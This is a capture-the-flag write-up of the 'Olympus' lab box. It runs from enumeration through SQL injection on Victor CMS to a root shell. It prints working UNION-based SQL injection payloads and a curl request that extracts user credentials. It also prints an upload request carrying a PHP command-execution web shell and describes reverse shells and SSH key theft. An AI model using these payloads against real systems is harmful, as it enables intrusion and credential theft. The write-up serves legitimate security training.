Olympus can be found here
Enumeration
The first step is to scan the target with nmap to discover running services.
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0a:78:14:04:2c:df:25:fb:4e:a2:14:34:80:0b:85:39 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPNeXYxrC1xv8fhFNve9CXjWSQcCXnWZThU1putOar7KBcQmoCQUYOqvmS+CDauJMPqVE3rqS0+CpTJnZn2ZWXDaCzFLZ84hjBXq8BqoWOFB0Vv0PjRKfBKC54tpA67NgLfp1TmmlS6jp4i75lxkZ6pSTOPxGUrvYvJ0iN2cAHJkgA9SZDrvT11HEp5oLmS2lXtFSoK/Q9pKNIl7y+07gZLRUeIKIn1bFRc4qrXn+rpDQR2fP9OEYiHhdJmTJJL+KjDAqZmIj0SYtuzD4Ok2Nkg5DHlCzOizYNQAkkj6Ift7dkD6LPebRp9MkAoThDzLya7YaFIP66mCbxJRPcNfQ3bJkUy0qTsu9MiiNtyvd9m8vacyA803eKIERIRj5JK1BTUKNAzsZeAuao9Kq/etHskvTy0TKspeBLwdmmRFkqerDIrznWcRyG/UnsEGUARe2h6CwuCJH8QCPMSc93zMrsZNs1z3FIoMzWTf23MWDOeNA8dkYewrDywEuOvb3Vrvk=
| 256 8d:56:01:ca:55:de:e1:7c:64:04:ce:e6:f1:a5:c7:ac (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHFtzLQXLhGiDzPN7Al84lSfH3jFwGniFL5WQSaIjC+VGMU8mbvbGVuOij+xUAbYarbBuoUagljDmBR5WIRSDeo=
| 256 1f:c1:be:3f:9c:e7:8e:24:33:34:a6:44:af:68:4c:3c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKhvoRyjZN/taS1uwwTaQ4uZrGhVUje0YWW4jg4rfdXw
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Olympus
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-favicon: Unknown favicon MD5: ED726E098473BFA7523153F761D2232F
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80 and 22 are open. The focus will be on port 80 since I don’t have credentials for SSH.
Hostname
The IP address attempts to resolve to http://olympus.thm. olympus.thm
will be added to /etc/hosts.
Manual Inspection
Now the homepage can be seen with a message on screen.
The old version of the website is still accessible, so I might be able to find it. Something else though, is that if this current website is part of bleeding edge development, its more likely to have vulnerabilities. There’s also a username given of ‘root’ @ ‘the-it-department’, which may or may not be useful but it will be noted.
Before I start fuzzing directories/files and virtual hosts, I’d like to do a bit more manual inspection.
The wappalyzer extension shows some of the components of the website.
Its useful to know that this is running on Ubuntu and the web server is Apache 2.4.41.
There is a /static/
directory containing some things.
There is also mention of Aperi Solve in the page source.
This might indicate that some of the images have hidden data within them. I will save this path for later if nothing else is discovered.
Scanning with Wfuzz
Now I would like to try to find the old website mentioned in the message. I might achieve this by scanning for files, directories, and virtual hosts.
wfuzz -c -z file,/opt/SecList/Discovery/Web-Content/common.txt --hc 404 http://olympus.thm/FUZZ/
Only a few things are returned, one being the ~webmaster
directory. Interesting!
Manual Inspection Continued…
The ~webmaster
directory leads to “Victor’s CMS”. The user root is immediately apparent, but also the name “Victor Alagwu” found at the bottom.
After some clicking around manually, i learned that not much is functional on this page. Lots of dead ends. The search feature seems to work.
And attempting to login does…something…
But its not what I’d want from a login.
I also notice there’s an interesting request when I click on any of the posts.
http://olympus.thm/~webmaster/post.php?post=3
the “post” parameter is discoverd, which I attempted to fuzz for LFI. Unsuccessful.
SQL Injection
Searchsploit returns a few results for “Victor CMS”.
The searchsploit entries led me to checking for SQLi in the search. The result is a MySQL syntax error, so this might be the path.
Poking around with SQL is quite a challenge for me, it would be helpful to be able to see the source code and get a better idea of what’s really going on.
Fortunately, there is a repository on GitHub that contains just that!
From the above source code, its easy to see why inputting a single quote produced an error. The single quote deliminates a string and come in pairs; one single quote at the beginning of the string and one at the end. By injecting a single quote into the search parameter the search string is terminated sooner than expected and leaves an additional unpaired single quote at the end, thus is throws an error.
Once I terminate the string, its possible to inject valid SQL immediately after and then ignore the rest of the line by commenting it out.
Since the injection will take place after a SELECT operator, I will need to use the UNION operator to combine two SELECT statements. Here is a resource for UNION Operators
The number of expressions must be the same in both SELECT statements.
From the source code I can see that there are 10 rows, which means there are 10 expressions in SELECT * FROM posts
To test, I will inject the following into the search field: ' UNION SELECT 1,2,3,4,5,6,7,8,9,10 -- -
The extra dash in -- -
is necessary in MySQL syntax so the “character after the whitespace … is not trailing and won’t be trimmed”. Link for more info about that: MySQL Comment
The result is everything from the 10 rows in the table posts
with the number 3 showing up in the 3rd expression.
I’d like to see the other databases available. To do that, I will input database()
into the expression intended for the posts data.
' UNION SELECT 1,2,3,4,database(),6,7,8,9,10' -- -
For the post “Update is coming” the posted date is 2022-05-06, but for the following post I can see that I’ve called the database() function. The function returns “olympus” as the current database. Expression 5 corresponds with the date.
The following should return table information in the expression intended for the title of the post. I used this article for help with the following payloads.
' union select 1,2,group_concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema = database() -- -
Awesome! It looks like there’s a flag table. In order to extract information from the flag table, I’ll need to know what the column names are. That can be achieved with the following:
' union select 1,2,group_concat(column_name),4,5,6,7,8,9,10 from information_schema.columns where table_schema = database() and table_name ='flag'-- -
It appears there’s just one column in the flag table.
Now to extract the data from this table.
' union select 1,2,group_concat(flag),4,5,6,7,8,9,10 from flag-- -
Woohoo! The first flag!
Now, I want to know if I can enumerate some usernames and passwords.
I’ll repeat the same step as before but for the users table.
' union select 1,2,group_concat(column_name),4,5,6,7,8,9,10 from information_schema.columns where table_schema = database() and table_name ='users'-- -
Success! I have the names of the columns in the users table.
Now to extract the data within the users table.
' union select 1,2,group_concat(randsalt,user_email,user_firstname,user_id,user_image,user_lastname,user_name,user_password,user_role),4,5,6,7,8,9,10 from users-- -
Cool, there’s a lot of good data returned but its not in the best format. I’ll make this search request using the curl command instead, that way I can copy the data and organize it the way I want.
curl http://olympus.thm/~webmaster/search.php -d "search=%27+union+select+1%2C2%2Cgroup_concat%28randsalt%2Cuser_email%2Cuser_firstname%2Cuser_id%2Cuser_image%2Cuser_lastname%2Cuser_name%2Cuser_password%2Cuser_role%29%2C4%2C5%2C6%2C7%2C8%2C9%2C10+from+users--+-&submit="
After some editing:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Email: prometheus@olympus.thm
Usermane: prometheus
Password: [ REDACTED ]
Role: User
Email: root@chat.olympus.thm
Username: root
password: [ REDACTED ]
Role: Admin
Email: zeus@chat.olympus.thm
Username: zeus
Password: [ REDACTED ]
Role: User
Cracking the Hash
Cracking the root users password to login somewhere would be great.
After some time cracking with hashcat, the password for prometheus cracks!
The password for Prometheus is [ REDACTED ].
CMS Admin Page
Using these credentials, I’m able to login. I’ve also checked the other usernames with this password on both the web app and SSH to see if there is any password reuse. The web app is the only access I have with these credentials so far.
After some exploring I find a place to upload a file on the Profile page, when adding a post, and when adding a user.
I refer back to the searchsploits and see that there is an Authenticated Arbitrary File Upload vulnerability that might be exploitable.
The exploit takes advantage of a vulnerability in the user add file upload. Here is a snippet of the malicious request that will upload the payload exe.php
1
2
3
4
5
6
7
8
9
POST /admin/users.php?source=add_user HTTP/1.1
...
Content-Disposition: form-data; name="user_image"; filename="exp.php"
Content-Type: application/octet-stream
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
...
Unfortunately, the directory where this file is upload is forbidden to me and I won’t be able to execute it like this.
Perhaps I could keep trying with the file upload, but for now I will move on and keep looking.
Chat
The emails have ‘chat’ in them and I recall a chats database from the SQLi.
' union select 1,2,group_concat(column_name),4,5,6,7,8,9,10 from information_schema.columns where table_schema = database() and table_name ='chats'-- -
There are 4 columns in the chats database, now to extract the data.
' union select 1,2,group_concat(dt,file,msg,uname),4,5,6,7,8,9,10 from chats-- -
URL Encode and then cURL
1
2
curl http://olympus.thm/~webmaster/search.php -d "search=%27%20union%20select%201%2C2%2Cgroup_concat%28dt%2Cfile%2Cmsg%2Cuname%29%2C4%2C5%2C6%2C7%2C8%2C9%2C10%20from%20chats--%20-
&submit="
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Date: 2022-04-05
File: 47c3210d51761686f3af40a875eeaaea.txt
Msg:
Attached : prometheus_password.txt
Uname: prometheus
#########################################################################################
Date: 2022-04-05
Msg:
This looks great! I tested an upload and found the upload folder, but it seems the filename got changed somehow because I can't download it back...
Uname: prometheus
#########################################################################################
Date: 2022-04-06
Msg:
I know this is pretty cool. The IT guy used a random file name function to make it harder for attackers to access the uploaded files. He's still working on it.
Uname: zeus
Interesting, there are a few messages that come up. Maybe the reason I can’t access my payload is because the name of that file has been changed to something random. Even more interesting though, is that the altered filename is being stored right here in the “chats” database. Prometheus uploaded “prometheus_passowrd.txt” and the stored filename is now File: 47c3210d51761686f3af40a875eeaaea.txt
Subdomain Enumeration
There must be some kind of chat hidding somewhere on the server. This makes me wonder if there isn’t a subdomain I wasn’t able to find from my enumeration.
All of the directories have a 302 Found code.
This had me stumped for a while until I read that 302 Found “indicates that a specific URL has been moved temporarily to a new location”, so that would mean a “redirect”. I wasn’t aware that wfuzz could follow redirects with the ‘–follow’ flag. When I added this, I got much better results!
There is a chat subdomain I wasn’t able to see earlier! And this subdomain has a completely new login.
Password Reuse
I was able to login with the credentials I found earlier for Prometheus and now I can see the messages from the database.
Now the question is, how can I exploit this? I see there is another upload feature. Are there any other directories or files though? I’ll check with wfuzz.
The /uploads/ directory is blank but perhaps files can still be accessed. There was an interesting file in the chats database ‘47c3210d51761686f3af40a875eeaaea.txt’ that I had been looking for. Its been found in the /uploads/ directory!
The file is a troll but it still tells me that files are accessible in this directory. If I upload my payload into the chat, maybe I can access it from the uploads directory.
The payload is uploaded.
Now to check if its accessible.
Looks like its not found.
That’s because the filename has changed. Since I was able to see the changed filename from Prometheus in the chats database, I wonder if I can see mine?
I’ll make another SQLi request to look at the files form the chats database and hopefully my filename will be revealed.
curl http://olympus.thm/~webmaster/search.php -d "search=' union select 1,2,group_concat(file),4,5,6,7,8,9,10 from chats-- -&submit="
As luck would have it, the filenames are revealed!!
1
2
3
4
5
47c3210d51761686f3af40a875eeaaea.txt
a545ef4a9457cf3e0ed501f96e5e84ae.php
2e223cadedbac19f7c7cbc5c6ccbc7c5.php
5b51185314184bc90eeaaeb337ec1a7a.php
b33a114994a77a6035912e252e348b71.php
I uploaded quite a few payloads as tests. They should all provide command execution!
Command Execution
Post-Exploitation
I uploaded a full reverse shell and followed the same steps to discover the filename. I started a netcat listener on my attack machine and executed the payload.
It looks like zeus and root are the only two users on this machine.
Through some exploring I found a config.php file with some database credentials.
While looking at SUID binaries, I discovered something that looked unusual, but didn’t have an entry on GTFO bins.
find / -perm -u=s -type f 2>/dev/null
Everything here is pretty standard and useless, but the ‘cputils’ binary seems out-of-place.
I decided to type ‘cputils’ into the command line and see what happens.
It asks me for a source file. It would be nice to have the id_rsa for zeus, so I think I’ll give it that and see what happens.
I put the path to the id_rsa file in the source file and a /tmp/id_rsa as the destination.
This is great! It copied the id_rsa for zeus. I’ll copy it to my machine and try to login via ssh.
The id_rsa file is encrypted with a passphrase. Hopefully john the ripper can crack it!
Awesome, the passphrase is revealed.
Privilege Escalation
I’ll try logging in as zeus over ssh again.
This time its a success and I’m logged in as Zeus.
One of the first things I want to try to do is use the ‘cputils’ binary to copy /etc/passwd and rewrite it with my own root user, then copy it back to replace the original.
I should have known this would fail.
There is a snap directory that is owned by zeus.
Perhaps this is a lead on privilege escalation. There is a known exploit for snap but I wasn’t able to find any PoC code.
I’ve started looking for other files owned by zeus as well as files in the zeus group
find / -user zeus 2>/dev/null
find / -group zeus 2>/dev/null
None of these writable files have any association with root.
A lot of the same files are returned, but a few new files show up in an interesting looking directory.
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/
After exploring this directory, there is an odd PHP file VIGQFQFMYOST.php
with a password located at the top.
I wonder if I can navigate to this file and see what it does.
http://10.10.122.150/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php
Its asking for password, so I’ll give it the one I found at the top of the file.
Backdoor
A backdoor?
I guess I’ll give this a shot and start a netcat listener.
After starting the netcat listener and filling in the parameters in the URL, it asks for the password again.
After submitting, I get a reverse shell as root!!!
This shell isn’t good, so I’ll change the root password and login over ssh.
The root flag is easily found.
There is a note stating that Prometheus has hidden another flag. So I’ll start looking for that. I want to find files with a string matching the “flag{}” format. I took to google to find a command that might do that and came across this Link
The command is grep -Ril "flag{" / 2>/dev/null
and it will recursively scan every file looking for strings that match. However, this took entirely way too long and I needed a hint for where to look. After getting a hint I was able to easily find the bonus flag.